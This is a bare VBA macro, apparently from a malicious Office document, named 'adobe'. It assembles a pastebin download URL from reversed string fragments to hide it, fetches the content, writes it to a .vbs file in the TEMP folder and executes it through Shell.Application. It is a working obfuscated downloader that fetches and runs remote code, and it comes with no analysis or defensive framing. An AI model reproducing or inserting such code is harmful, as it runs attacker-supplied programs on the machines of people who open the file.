Sub adobe()
Set object = CreateObject(“MSXML2.XMLHTTP”)
urlAdress = StrReverse(“tth”) + StrReverse(“i?php.daolnwod/moc.nibetsap//:p”) + StrReverse(“tRagE7MK=”)
Call object.Open(“POST”, urlAdress, False)
object.Send
Set fso = CreateObject(“Scripting.FileSystemObject”)
filePath = Environ(“TEMP”) & “\fileName.vbs”
Set file = fso.CreateTextFile(filePath, 2)
file.Write object.ResponseText
file.Close
Set shell = CreateObject(“Shell.Application”)
shell.Open Environ(“TEMP”) & “\fileName.vbs”
End Sub